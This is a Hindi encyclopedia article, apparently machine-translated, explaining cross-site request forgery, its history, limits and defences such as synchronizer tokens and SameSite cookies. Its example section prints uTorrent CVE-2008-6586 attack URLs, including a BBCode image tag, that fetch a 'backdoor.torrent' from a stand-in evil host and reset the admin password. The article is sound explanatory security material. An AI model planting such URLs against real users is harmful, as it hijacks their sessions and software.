क्रॉस साइट अनुरोध जालसाजी

From Vigyanwiki
Revision as of 16:37, 12 August 2023 by alpha>Hariom Awasthi

क्रॉस-साइट अनुरोध जालसाजी, जिसे वन-क्लिक अटैक या सेशन राइडिंग के रूप में भी जाना जाता है और इसे सीएसआरएफ के रूप में संक्षिप्त किया जाता है (कभी-कभी समुद्र-सर्फ कहा जाता है)[1] या एक्सएसआरएफ, वेबसाइट या वेब अनुप्रयोग का प्रकार का दुर्भावनापूर्ण शोषण (कंप्यूटर सुरक्षा) है जहां उपयोगकर्ता (कंप्यूटिंग) से अनधिकृत कमांड सबमिट किए जाते हैं जिस पर वेब एप्लिकेशन भरोसा करता है।[2] ऐसे कई तरीके हैं जिनसे कोई दुर्भावनापूर्ण वेबसाइट ऐसे आदेश प्रसारित कर सकती है; उदाहरण के लिए, विशेष रूप से तैयार किए गए छवि टैग, छिपे हुए फॉर्म और जावास्क्रिप्ट XMLHttpRequest#Fetch विकल्प या XMLHttpRequests, ये सभी उपयोगकर्ता की बातचीत या ज्ञान के बिना भी काम कर सकते हैं। क्रॉस साइट स्क्रिप्टिंग (XSS) के विपरीत, जो किसी विशेष साइट के लिए उपयोगकर्ता के भरोसे का फायदा उठाता है, CSRF उस भरोसे का फायदा उठाता है जो साइट उपयोगकर्ता के ब्राउज़र में रखती है।[3]

सीएसआरएफ हमले में, निर्दोष अंतिम उपयोगकर्ता को हमलावर द्वारा वेब अनुरोध सबमिट करने के लिए बरगलाया जाता है, जिसका उनका इरादा नहीं था। इससे वेबसाइट पर ऐसी कार्रवाइयां हो सकती हैं जिनमें अनजाने क्लाइंट या सर्वर डेटा रिसाव, सत्र स्थिति में बदलाव, या अंतिम उपयोगकर्ता के खाते में हेरफेर शामिल हो सकता है।

सीएसआरएफ शब्द का उपयोग सीएसआरएफ हमलों के खिलाफ बचाव में संक्षिप्त नाम के रूप में भी किया जाता है, जैसे कि ऐसी तकनीकें जो ऐसे हमलों का परीक्षण करने और रोकने के लिए हेडर डेटा, फॉर्म डेटा या कुकीज़ का उपयोग करती हैं।

विशेषताएँ

सीएसआरएफ हमले में, हमलावर का लक्ष्य निर्दोष पीड़ित को अनजाने में उस वेबसाइट पर दुर्भावनापूर्ण रूप से तैयार किए गए वेब अनुरोध को सबमिट करने के लिए प्रेरित करना है, जिस तक पीड़ित के पास विशेषाधिकार प्राप्त पहुंच है। इस वेब अनुरोध को यूआरएल पैरामीटर, कुकीज़ और अन्य डेटा को शामिल करने के लिए तैयार किया जा सकता है जो अनुरोध को संसाधित करने वाले वेब सर्वर के लिए सामान्य प्रतीत होते हैं। जोखिम में वे वेब एप्लिकेशन हैं जो विशिष्ट कार्रवाई के लिए उपयोगकर्ता को प्राधिकरण (जैसे पॉपअप पुष्टिकरण के माध्यम से) की आवश्यकता के बिना विश्वसनीय और प्रमाणीकरण उपयोगकर्ताओं से इनपुट के आधार पर कार्य करते हैं। उपयोगकर्ता जो उपयोगकर्ता के वेब ब्राउज़र में सहेजी गई HTTP कुकी द्वारा प्रमाणित है, अनजाने में उस साइट पर HTTP अनुरोध भेज सकता है जो उपयोगकर्ता पर भरोसा करती है और इस तरह अवांछित कार्रवाई का कारण बन सकती है।

वेब ब्राउज़र की सामान्य संपत्ति यह है कि वे स्वचालित रूप से और अदृश्य रूप से उस डोमेन पर भेजे गए किसी भी वेब अनुरोध में किसी दिए गए डोमेन द्वारा उपयोग की जाने वाली किसी भी कुकीज़ (सत्र कुकीज़ और अन्य सहित) को शामिल करेंगे। सीएसआरएफ हमलों द्वारा इस संपत्ति का शोषण किया जाता है। ऐसी स्थिति में जब किसी उपयोगकर्ता को अपने ब्राउज़र के माध्यम से अनजाने में अनुरोध सबमिट करने के लिए धोखा दिया जाता है, तो ये स्वचालित रूप से शामिल कुकीज़ वेब सर्वर पर जाली अनुरोध को वास्तविक दिखने का कारण बनेंगी और यह डेटा लौटाने, सत्र स्थिति में हेरफेर करने या बनाने सहित कोई भी उचित अनुरोधित कार्रवाई करेगा। पीड़ित के खाते में परिवर्तन.

सीएसआरएफ हमले को काम करने के लिए, हमलावर को प्रतिलिपि प्रस्तुत करने योग्य वेब अनुरोध की पहचान करनी होगी जो लक्ष्य पृष्ठ पर खाता पासवर्ड बदलने जैसी विशिष्ट कार्रवाई निष्पादित करता है। बार ऐसे अनुरोध की पहचान हो जाने पर, लिंक बनाया जा सकता है जो इस दुर्भावनापूर्ण अनुरोध को उत्पन्न करता है और उस लिंक को हमलावर के नियंत्रण में पृष्ठ पर एम्बेड किया जा सकता है।[1][4] यह लिंक इस तरह से रखा जा सकता है कि पीड़ित के लिए लिंक पर क्लिक करना भी जरूरी नहीं है। उदाहरण के लिए, इसे पीड़ित को भेजे गए ईमेल पर HTML छवि टैग के भीतर एम्बेड किया जा सकता है जो पीड़ित द्वारा अपना ईमेल खोलने पर स्वचालित रूप से लोड हो जाएगा। बार जब पीड़ित लिंक पर क्लिक कर देता है, तो उनका ब्राउज़र स्वचालित रूप से उस वेबसाइट द्वारा उपयोग की जाने वाली किसी भी कुकीज़ को शामिल कर लेगा और वेब सर्वर पर अनुरोध सबमिट कर देगा। वेब सर्वर जालसाजी की पहचान करने में सक्षम नहीं होगा क्योंकि अनुरोध उस उपयोगकर्ता द्वारा किया गया था जिसने लॉग इन किया था और सभी अपेक्षित कुकीज़ जमा की थीं।

क्रॉस-साइट अनुरोध जालसाजी वेब ब्राउज़र के विरुद्ध भ्रमित डिप्टी का उदाहरण है क्योंकि वेब ब्राउज़र को कम विशेषाधिकार प्राप्त हमलावर द्वारा जाली अनुरोध सबमिट करने के लिए धोखा दिया जाता है।

सीएसआरएफ में आमतौर पर निम्नलिखित विशेषताएं होती हैं:

  • इसमें ऐसी साइटें शामिल हैं जो उपयोगकर्ता की ऑनलाइन पहचान पर निर्भर करती हैं।
  • यह उस पहचान में साइट के भरोसे का शोषण करता है।
  • यह उपयोगकर्ता के ब्राउज़र को लक्षित साइट पर HTTP अनुरोध भेजने के लिए प्रेरित करता है जहां उपयोगकर्ता पहले से ही प्रमाणित है।
  • इसमें HTTP अनुरोध शामिल हैं जिनका साइड इफेक्ट (कंप्यूटर विज्ञान) है।

इतिहास

सीएसआरएफ टोकन कमजोरियाँ ज्ञात हैं और कुछ मामलों में 2001 से उनका शोषण किया गया है।[5] क्योंकि यह उपयोगकर्ता के आईपी पते से किया जाता है, कुछ वेबसाइट लॉग में सीएसआरएफ का सबूत नहीं हो सकता है।[2] कम से कम सार्वजनिक रूप से, और 2007 तक, शोषण की कम रिपोर्ट की गई है[6] कुछ अच्छी तरह से प्रलेखित उदाहरण थे:

  • 2006 में NetFlix वेबसाइट में सीएसआरएफ के लिए कई कमजोरियां थीं, जो हमलावर को पीड़ित की किराये की कतार में डीवीडी जोड़ने, खाते पर शिपिंग पता बदलने, या पूरी तरह से समझौता करने के लिए पीड़ित के लॉगिन क्रेडेंशियल को बदलने जैसे कार्य करने की अनुमति दे सकती थी। खाता।[7] * आईएनजी डायरेक्ट का ऑनलाइन बैंकिंग वेब एप्लिकेशन सीएसआरएफ हमले के प्रति संवेदनशील था जो अवैध धन हस्तांतरण की अनुमति देता था।[8] * लोकप्रिय वीडियो वेबसाइट यूट्यूब भी 2008 में सीएसआरएफ के प्रति संवेदनशील थी और इसने किसी भी हमलावर को किसी भी उपयोगकर्ता के लगभग सभी कार्यों को करने की अनुमति दी थी।[8]* McAfee Securities भी CSRF के प्रति संवेदनशील थी और इसने हमलावरों को अपनी कंपनी प्रणाली को बदलने की अनुमति दी। इसे नए संस्करणों में ठीक कर दिया गया है.[9]

2018 में वेब-सक्षम उपकरणों के खिलाफ नए हमले किए गए, जिनमें राउटर की डीएनएस सेटिंग्स को बदलने के प्रयास भी शामिल थे। कुछ राउटर निर्माताओं ने सुरक्षा में सुधार के लिए जल्दबाजी में फर्मवेयर अपडेट जारी किए, और जोखिम को कम करने के लिए उपयोगकर्ताओं को राउटर सेटिंग्स बदलने की सलाह दी। स्पष्ट सुरक्षा कारणों का हवाला देते हुए विवरण जारी नहीं किया गया।[10]


उदाहरण

सीएसआरएफ भेद्यता का वर्णन करने वाला राष्ट्रीय भेद्यता डेटाबेस पृष्ठ

हमलावर जो प्रतिलिपि प्रस्तुत करने योग्य लिंक पा सकते हैं जो पीड़ित के लॉग इन होने पर लक्ष्य पृष्ठ पर विशिष्ट कार्रवाई निष्पादित करता है, वे ऐसे लिंक को उस पृष्ठ पर एम्बेड कर सकते हैं जिसे वे नियंत्रित करते हैं और पीड़ित को इसे खोलने के लिए धोखा दे सकते हैं।[1] आक्रमण वाहक लिंक को उस स्थान पर रखा जा सकता है जहां लक्ष्य साइट (उदाहरण के लिए, चर्चा मंच) में लॉग इन करते समय पीड़ित के आने की संभावना है, या HTML ईमेल बॉडी या अनुलग्नक में भेजा जा सकता है। uTorrent में वास्तविक CSRF भेद्यता (CVE-2008-6586) ने इस तथ्य का फायदा उठाया कि इसका वेब कंसोल स्थानीय होस्ट पर पहुंच योग्य है। :8080 ने साधारण GET अनुरोध का उपयोग करके महत्वपूर्ण कार्रवाइयों को निष्पादित करने की अनुमति दी:

एक .torrent फ़ाइल डाउनलोड को बाध्य करें
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
UTorrent व्यवस्थापक पासवर्ड बदलें
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

फ़ोरम और ईमेल स्पैम पर दुर्भावनापूर्ण, स्वचालित-क्रिया वाले HTML तत्व#छवियाँ और ऑब्जेक्ट डालकर हमले शुरू किए गए, ताकि इन पृष्ठों पर जाने वाले ब्राउज़र उन्हें उपयोगकर्ता की अधिक कार्रवाई के बिना स्वचालित रूप से खोल सकें। इन पेजों को खोलने के साथ ही असुरक्षित utorrent संस्करण चलाने वाले लोग हमले के प्रति संवेदनशील थे।

छवि टैग का उपयोग करके सीएसआरएफ हमले अक्सर इंटरनेट मंचों से किए जाते हैं, जहां उपयोगकर्ताओं को छवियां पोस्ट करने की अनुमति होती है लेकिन जावास्क्रिप्ट की नहीं, उदाहरण के लिए बीबीसीओडी का उपयोग करना: 

[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]

स्थानीय uTorrent एप्लिकेशन पर हमले के लिंक तक पहुँचने पर localhost:8080, ब्राउज़र हमेशा उस डोमेन के लिए किसी भी मौजूदा HTTP कुकीज़ को स्वचालित रूप से भेज देगा। वेब ब्राउज़र की यह सामान्य संपत्ति सीएसआरएफ हमलों को उनकी लक्षित कमजोरियों का फायदा उठाने और शत्रुतापूर्ण कार्यों को अंजाम देने में सक्षम बनाती है, जब तक कि उपयोगकर्ता हमले के समय लक्ष्य वेबसाइट (इस उदाहरण में, स्थानीय uTorrent वेब इंटरफ़ेस) में लॉग इन है।

ऊपर वर्णित uTorrent उदाहरण में, हमले को इस तथ्य से सुविधाजनक बनाया गया था कि uTorrent के वेब इंटरफ़ेस ने महत्वपूर्ण राज्य-परिवर्तन संचालन (क्रेडेंशियल बदलें, फ़ाइल डाउनलोड इत्यादि) के लिए GET अनुरोध का उपयोग किया था, जो RFC 2616 स्पष्ट रूप से हतोत्साहित करता है:

In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe". This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.

इस धारणा के कारण, वेब ढाँचा में कई मौजूदा सीएसआरएफ रोकथाम तंत्र जीईटी अनुरोधों को कवर नहीं करेंगे, बल्कि केवल उन HTTP तरीकों पर सुरक्षा लागू करेंगे जिनका उद्देश्य राज्य-परिवर्तन करना है।[11]

लॉगिन अनुरोध फोर्जिंग

एक हमलावर, हमलावर के क्रेडेंशियल्स का उपयोग करके पीड़ित को लक्षित वेबसाइट में लॉग इन करने का अनुरोध कर सकता है; इसे लॉगिन सीएसआरएफ के रूप में जाना जाता है। लॉगिन सीएसआरएफ विभिन्न नवीन हमलों को संभव बनाता है; उदाहरण के लिए, कोई हमलावर बाद में अपनी वैध साख के साथ साइट पर लॉग इन कर सकता है और खाते में सहेजी गई गतिविधि इतिहास जैसी निजी जानकारी देख सकता है। यह हमला Google के विरुद्ध प्रदर्शित किया गया है[12] और याहू.[13]

HTTP क्रियाएं और सीएसआरएफ

प्रकार के आधार पर, हाइपरटेक्स्ट परहस्त शिष्टाचार हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल#अनुरोध विधियां सीएसआरएफ हमलों के प्रति उनकी संवेदनशीलता में भिन्न होती हैं (वेब ​​ब्राउज़र द्वारा उनके प्रबंधन में अंतर के कारण)। इसलिए, किसी हमले के खिलाफ सुरक्षात्मक उपाय HTTP अनुरोध की विधि पर निर्भर करते हैं।

  • HTTP GET में सीएसआरएफ शोषण ऊपर वर्णित विधियों का उपयोग करके तुच्छ है, जैसे कि सरल हाइपरलिंक जिसमें हेरफेर किए गए पैरामीटर होते हैं और स्वचालित रूप से HTML तत्व # छवियाँ और ऑब्जेक्ट द्वारा लोड किया जाता है। हालाँकि, HTTP विनिर्देशन के अनुसार, GET को हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल#सुरक्षित तरीकों के रूप में उपयोग किया जाना चाहिए, अर्थात, एप्लिकेशन में उपयोगकर्ता की स्थिति को महत्वपूर्ण रूप से नहीं बदलना चाहिए। ऐसे परिचालनों के लिए GET का उपयोग करने वाले अनुप्रयोगों को HTTP POST पर स्विच करना चाहिए या एंटी-CSRF सुरक्षा का उपयोग करना चाहिए।
  • CSRF के लिए HTTP POST भेद्यता उपयोग परिदृश्य पर निर्भर करती है:
    • क्वेरी स्ट्रिंग के रूप में एन्कोड किए गए डेटा के साथ POST के सरलतम रूप में (field1=value1&field2=value2) सीएसआरएफ हमले को सरल फॉर्म (एचटीएमएल) का उपयोग करके आसानी से लागू किया जाता है और सीएसआरएफ विरोधी उपायों को लागू किया जाना चाहिए।
    • यदि डेटा किसी अन्य प्रारूप (JSON, XML) में भेजा जाता है, तो समान-मूल नीति (SOP) और क्रॉस-मूल संसाधन साझाकरण (CORS) द्वारा रोके गए CSRF हमलों के साथ XMLHttpRequest का उपयोग करके POST अनुरोध जारी करना मानक तरीका है; सरल फॉर्म (HTML) का उपयोग करके मनमानी सामग्री भेजने की तकनीक है ENCTYPE गुण; ऐसे नकली अनुरोध को वैध अनुरोधों से अलग किया जा सकता है text/plain सामग्री प्रकार, लेकिन यदि इसे सर्वर पर लागू नहीं किया जाता है, तो सीएसआरएफ निष्पादित किया जा सकता है[14][15]
  • अन्य HTTP विधियां (PUT, DELETE आदि) केवल CSRF को रोकने वाली समान-मूल नीति (SOP) और क्रॉस-मूल संसाधन साझाकरण (CORS) के साथ XMLHttpRequest का उपयोग करके जारी की जा सकती हैं; हालाँकि ये उपाय उन वेबसाइटों पर सक्रिय नहीं होंगे जो स्पष्ट रूप से इनका उपयोग अक्षम करते हैं Access-Control-Allow-Origin: * हैडर

सीएसआरएफ के लिए अन्य दृष्टिकोण

इसके अतिरिक्त, जबकि आम तौर पर स्थिर प्रकार के हमले के रूप में वर्णित किया जाता है, सीएसआरएफ को क्रॉस-साइट स्क्रिप्टिंग हमले के लिए पेलोड के हिस्से के रूप में गतिशील रूप से भी बनाया जा सकता है, जैसा कि सैमी (एक्सएसएस) वर्म द्वारा प्रदर्शित किया गया है, या लीक हुई सत्र जानकारी से फ्लाई पर बनाया गया है। ऑफसाइट सामग्री के माध्यम से और दुर्भावनापूर्ण यूआरएल के रूप में लक्ष्य को भेजा गया। सत्र निर्धारण या अन्य कमजोरियों के कारण किसी हमलावर द्वारा सीएसआरएफ टोकन भी क्लाइंट को भेजे जा सकते हैं, या क्रूर-बल हमले के माध्यम से अनुमान लगाया जा सकता है, जो दुर्भावनापूर्ण पृष्ठ पर प्रस्तुत किया जाता है जो हजारों असफल अनुरोध उत्पन्न करता है। डायनामिक सीएसआरएफ के आक्रमण वर्ग, या सत्र-विशिष्ट जालसाजी के लिए प्रति-ग्राहक पेलोड का उपयोग करने का वर्णन किया गया था[16] 2009 में ब्लैकहैट ब्रीफिंग में नाथन हैमील और शॉन मोयर द्वारा,[17] हालाँकि वर्गीकरण को अभी भी व्यापक रूप से अपनाया जाना बाकी है।

जनवरी 2012 में स्थानीय OWASP अध्याय की बैठक में ओरेन ओफ़र द्वारा गतिशील CSRF हमलों की रचना के लिए नया वेक्टर प्रस्तुत किया गया था - AJAX हैमर - डायनेमिक CSRF।[18][19]

प्रभाव

सीएसआरएफ टोकन कमजोरियों के लिए गंभीरता मेट्रिक्स जारी किए गए हैं जिसके परिणामस्वरूप रूट विशेषाधिकारों के साथ रिमोट कोड निष्पादन होता है[20] साथ ही भेद्यता जो रूट प्रमाणपत्र से समझौता कर सकती है, जो सार्वजनिक कुंजी बुनियादी ढांचे को पूरी तरह से कमजोर कर देगी।[21]

सीमाएँ

क्रॉस-साइट अनुरोध जालसाजी के सफल होने के लिए कई चीजें होनी चाहिए:

  1. हमलावर को या तो ऐसी साइट को निशाना बनाना चाहिए जो HTTP रेफरर की जांच नहीं करती है या किसी ऐसे ब्राउज़र या प्लगइन वाले पीड़ित को निशाना बनाना चाहिए जो रेफरर स्पूफ़िंग की अनुमति देता है।[22]
  2. हमलावर को लक्ष्य साइट पर फ़ॉर्म सबमिशन, या यूआरएल ढूंढना होगा जिसके दुष्प्रभाव हों, जो कुछ करता हो (उदाहरण के लिए, पैसे ट्रांसफर करता है, या पीड़ित का ई-मेल पता या पासवर्ड बदलता है)।
  3. हमलावर को सभी फॉर्म या यूआरएल इनपुट के लिए सही मान निर्धारित करना होगा; यदि उनमें से किसी को भी गुप्त प्रमाणीकरण मान या आईडी की आवश्यकता होती है जिसका हमलावर अनुमान नहीं लगा सकता है, तो हमला संभवतः विफल हो जाएगा (जब तक कि हमलावर अपने अनुमान में बेहद भाग्यशाली न हो)।
  4. जब पीड़ित लक्ष्य साइट पर लॉग इन हो तो हमलावर को पीड़ित को दुर्भावनापूर्ण कोड वाले वेब पेज पर लुभाना चाहिए।

हमला अंधा है: हमलावर यह नहीं देख सकता कि जाली अनुरोधों के जवाब में लक्ष्य वेबसाइट पीड़ित को क्या भेजती है, जब तक कि वे लक्ष्य वेबसाइट पर क्रॉस-साइट स्क्रिप्टिंग या अन्य बग का फायदा नहीं उठाते। इसी तरह, हमलावर केवल किसी भी लिंक को लक्षित कर सकता है या प्रारंभिक जाली अनुरोध के बाद आने वाले किसी भी फॉर्म को सबमिट कर सकता है यदि वे बाद के लिंक या फॉर्म समान रूप से पूर्वानुमानित हों। (एक पृष्ठ पर कई छवियों को शामिल करके, या क्लिकों के बीच देरी शुरू करने के लिए जावास्क्रिप्ट का उपयोग करके कई लक्ष्यों का अनुकरण किया जा सकता है।)[23]

रोकथाम

अधिकांश सीएसआरएफ रोकथाम तकनीकें अनुरोधों में अतिरिक्त प्रमाणीकरण डेटा एम्बेड करके काम करती हैं जो वेब एप्लिकेशन को अनधिकृत स्थानों से अनुरोधों का पता लगाने की अनुमति देती है।

सिंक्रोनाइज़र टोकन पैटर्न

सिंक्रोनाइज़र टोकन पैटर्न (एसटीपी) ऐसी तकनीक है जहां टोकन, प्रत्येक अनुरोध के लिए गुप्त और अद्वितीय मान, सभी HTML रूपों में वेब एप्लिकेशन द्वारा एम्बेड किया जाता है और सर्वर साइड पर सत्यापित किया जाता है। टोकन किसी भी विधि से उत्पन्न किया जा सकता है जो अप्रत्याशितता और विशिष्टता सुनिश्चित करता है (उदाहरण के लिए यादृच्छिक बीज की हैश श्रृंखला का उपयोग करना)। इस प्रकार हमलावर अपने अनुरोधों को प्रमाणित करने के लिए उनमें सही टोकन डालने में असमर्थ है।[1][24][25]

HTML फॉर्म में Django (वेब ​​फ्रेमवर्क) द्वारा निर्धारित STP का उदाहरण: 

<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

एसटीपी सबसे अधिक संगत है क्योंकि यह केवल HTML पर निर्भर करता है, लेकिन प्रत्येक अनुरोध पर टोकन की वैधता की जांच से जुड़े बोझ के कारण सर्वर साइड पर कुछ जटिलताएं पेश करता है। चूंकि टोकन अद्वितीय और अप्रत्याशित है, यह घटनाओं के उचित अनुक्रम को भी लागू करता है (उदाहरण के लिए स्क्रीन 1, फिर 2, फिर 3) जो प्रयोज्य समस्या को जन्म देता है (उदाहरण के लिए उपयोगकर्ता कई टैब खोलता है)। प्रति अनुरोध सीएसआरएफ टोकन के बजाय प्रति सत्र सीएसआरएफ टोकन का उपयोग करके इसमें छूट दी जा सकती है।

कुकी-टू-हेडर टोकन

वेब एप्लिकेशन जो अपने अधिकांश कार्यों के लिए जावास्क्रिप्ट का उपयोग करते हैं, वे निम्नलिखित एंटी-सीएसआरएफ तकनीक का उपयोग कर सकते हैं:

  • किसी संबद्ध सर्वर सत्र के बिना प्रारंभिक विज़िट पर, वेब एप्लिकेशन कुकी सेट करता है। कुकी में आम तौर पर यादृच्छिक टोकन होता है जो वेब सत्र के जीवनकाल तक समान रह सकता है
सेट-कुकी: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; समाप्ति=गुरु, 23-जुलाई-2015 10:25:33 जीएमटी; अधिकतम आयु=31449600; पथ=/; सेमसाइट=लैक्स; सुरक्षित
  • क्लाइंट साइड पर काम करने वाला जावास्क्रिप्ट इसके मूल्य को पढ़ता है और इसे प्रत्येक लेनदेन अनुरोध के साथ भेजे गए कस्टम HTTP हेडर में कॉपी करता है
X-Csrf-टोकन: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • सर्वर टोकन की उपस्थिति और अखंडता को मान्य करता है

इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर HTTPS कनेक्शन के क्लाइंट साइड पर चलने वाली जावास्क्रिप्ट जो शुरू में कुकी सेट करती है, कुकी के मूल्य को पढ़ने में सक्षम होगी। किसी दुष्ट फ़ाइल या ईमेल से चलने वाली जावास्क्रिप्ट कस्टम हेडर में कॉपी करने के लिए कुकी मान को सफलतापूर्वक पढ़ने में सक्षम नहीं होनी चाहिए। यहां तक ​​कि भले ही csrf-token कुकी स्वचालित रूप से दुष्ट अनुरोध के साथ भेजी जा सकती है, कुकी सेमसाइट नीति के अधीन, सर्वर अभी भी वैध की अपेक्षा करेगा X-Csrf-Token शीर्ष लेख.

सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे HMAC का उपयोग करके सत्र कुकी से प्राप्त किया जा सकता है: 

सीएसआरएफ_टोकन = एचएमएसी(सत्र_टोकन, एप्लिकेशन_सीक्रेट)

सीएसआरएफ टोकन कुकी में httpOnly फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का इरादा है।

यह तकनीक कई आधुनिक ढाँचों द्वारा कार्यान्वित की जाती है, जैसे Django (वेब ​​ढाँचा)[26] और AngularJS.[27] क्योंकि टोकन पूरे उपयोगकर्ता सत्र में स्थिर रहता है, यह AJAX अनुप्रयोगों के साथ अच्छी तरह से काम करता है, लेकिन वेब एप्लिकेशन में घटनाओं के अनुक्रम को लागू नहीं करता है।

यदि लक्ष्य वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है:

  • clientaccesspolicy.xml सिल्वरलाइट नियंत्रणों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल[28]
  • crossdomain.xml फ्लैश फिल्मों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल[29]


डबल सबमिट कुकी

कुकी-टू-हेडर दृष्टिकोण के समान, लेकिन जावास्क्रिप्ट को शामिल किए बिना, साइट सीएसआरएफ टोकन को कुकी के रूप में सेट कर सकती है, और इसे प्रत्येक HTML फॉर्म में छिपे हुए फ़ील्ड के रूप में भी डाल सकती है। जब फॉर्म सबमिट किया जाता है, तो साइट जांच कर सकती है कि कुकी टोकन फॉर्म टोकन से मेल खाता है या नहीं। समान-मूल नीति किसी हमलावर को लक्ष्य डोमेन पर कुकीज़ पढ़ने या सेट करने से रोकती है, इसलिए वे अपने तैयार किए गए फॉर्म में वैध टोकन नहीं डाल सकते हैं।[30]

सिंक्रोनाइज़र पैटर्न की तुलना में इस तकनीक का लाभ यह है कि टोकन को सर्वर पर संग्रहीत करने की आवश्यकता नहीं होती है।

समान साइट कुकी विशेषता

जब सर्वर कुकी सेट करता है, तो अतिरिक्त सेमसाइट विशेषता शामिल की जा सकती है, जो ब्राउज़र को निर्देश देती है कि कुकी को क्रॉस-साइट अनुरोधों में संलग्न किया जाए या नहीं। यदि यह विशेषता सख्त पर सेट है, तो कुकी केवल उसी साइट अनुरोधों पर भेजी जाएगी, जिससे सीएसआरएफ अप्रभावी हो जाएगा। हालाँकि, इसके लिए ब्राउज़र को विशेषता को पहचानने और सही ढंग से लागू करने की आवश्यकता होती है।[31]


ग्राहक-पक्ष सुरक्षा उपाय

ब्राउज़र एक्सटेंशन जैसे RequestPolicy (मोज़िला फ़ायरफ़ॉक्स के लिए) या uMatrix (फ़ायरफ़ॉक्स और Google क्रोम/क्रोमियम (वेब ​​​​ब्राउज़र) दोनों के लिए) क्रॉस-साइट अनुरोधों के लिए डिफ़ॉल्ट-अस्वीकार नीति प्रदान करके सीएसआरएफ को रोक सकता है। हालाँकि, यह कई वेबसाइटों के सामान्य संचालन में महत्वपूर्ण हस्तक्षेप कर सकता है। CsFire एक्सटेंशन (फ़ायरफ़ॉक्स के लिए भी) क्रॉस-साइट अनुरोधों से प्रमाणीकरण जानकारी को हटाकर, सामान्य ब्राउज़िंग पर कम प्रभाव के साथ CSRF के प्रभाव को कम कर सकता है।

फ़ायरफ़ॉक्स के लिए नोस्क्रिप्ट एक्सटेंशन अविश्वसनीय साइटों से विश्वसनीय को अलग करके और अविश्वसनीय साइटों द्वारा विश्वसनीय लोगों को भेजे गए POST अनुरोधों से प्रमाणीकरण और पेलोड को हटाकर सीएसआरएफ खतरों को कम करता है। नोस्क्रिप्ट में एप्लिकेशन बाउंड्री एनफोर्सर मॉड्यूल इंटरनेट पेजों से स्थानीय साइटों (जैसे लोकलहोस्ट) पर भेजे गए अनुरोधों को भी ब्लॉक करता है, जिससे स्थानीय सेवाओं (जैसे यूटोरेंट) या राउटर पर सीएसआरएफ के हमलों को रोका जा सकता है।

फ़ायरफ़ॉक्स के लिए सेल्फ डिस्ट्रक्टिंग कुकीज़ एक्सटेंशन सीधे सीएसआरएफ से रक्षा नहीं करता है, लेकिन कुकीज़ को हटाकर, जैसे ही वे खुले टैब से संबद्ध नहीं होते हैं, हमले की विंडो को कम कर सकता है।

अन्य तकनीकें

ऐतिहासिक रूप से सीएसआरएफ की रोकथाम के लिए कई अन्य तकनीकों का उपयोग या प्रस्ताव किया गया है:

  • यह सत्यापित करना कि अनुरोध के शीर्षलेखों में शामिल है X-Requested-With (v2.0 से पहले रूबी ऑन रेल्स द्वारा और v1.2.5 से पहले Django (वेब ​​फ्रेमवर्क) द्वारा उपयोग किया जाता है), या HTTP की जाँच कर रहा है Referer हेडर और/या HTTP Origin शीर्षक.[32] हालाँकि, यह असुरक्षित है - ब्राउज़र प्लगइन्स और रीडायरेक्ट का संयोजन हमलावर को किसी भी वेबसाइट के अनुरोध पर कस्टम HTTP हेडर प्रदान करने की अनुमति दे सकता है, जिससे जाली अनुरोध की अनुमति मिलती है।[33][34]
  • HTTP रेफरर|HTTP की जाँच करना Referer हेडर यह देखने के लिए कि क्या अनुरोध किसी अधिकृत पृष्ठ से आ रहा है, आमतौर पर एम्बेडेड नेटवर्क उपकरणों के लिए उपयोग किया जाता है क्योंकि यह मेमोरी आवश्यकताओं को नहीं बढ़ाता है। हालाँकि, अनुरोध जो इसे छोड़ देता है Referer हेडर को अनधिकृत माना जाना चाहिए क्योंकि कोई हमलावर इसे दबा सकता है Referer एफ़टीपी या एचटीटीपीएस यूआरएल से अनुरोध जारी करके हेडर। यह सख्त Referer सत्यापन उन ब्राउज़रों या प्रॉक्सी के साथ समस्याएँ पैदा कर सकता है जो इसे छोड़ देते हैं Referer गोपनीयता कारणों से शीर्षलेख. साथ ही, फ़्लैश के पुराने संस्करण (9.0.18 से पहले) दुर्भावनापूर्ण फ़्लैश को HTTP प्रतिक्रिया विभाजन का उपयोग करके मनमाने ढंग से HTTP अनुरोध हेडर के साथ GET या POST अनुरोध उत्पन्न करने की अनुमति देते हैं।[35] क्लाइंट में समान सीआरएलएफ इंजेक्शन कमजोरियों का उपयोग HTTP अनुरोध के रेफरर को धोखा देने के लिए किया जा सकता है।
  • कुछ समय के लिए POST अनुरोध विधि को यूआरएल में पैरामीटर (जीईटी विधि का उपयोग करके) का उपयोग करके मामूली सीएसआरएफ हमलों के प्रति प्रतिरोधी माना जाता था। हालाँकि, POST और किसी अन्य HTTP विधि दोनों को अब XMLHttpRequest का उपयोग करके आसानी से निष्पादित किया जा सकता है। अप्रत्याशित GET अनुरोधों को फ़िल्टर करना अभी भी कुछ विशेष हमलों को रोकता है, जैसे दुर्भावनापूर्ण छवि यूआरएल या लिंक पते का उपयोग करके क्रॉस-साइट हमले और क्रॉस-साइट सूचना रिसाव <script> तत्व (जावास्क्रिप्ट अपहरण); यह आक्रामक वेब क्रॉलर और लिंक प्रीफेचिंग के साथ (गैर-सुरक्षा-संबंधी) समस्याओं को भी रोकता है।[1]

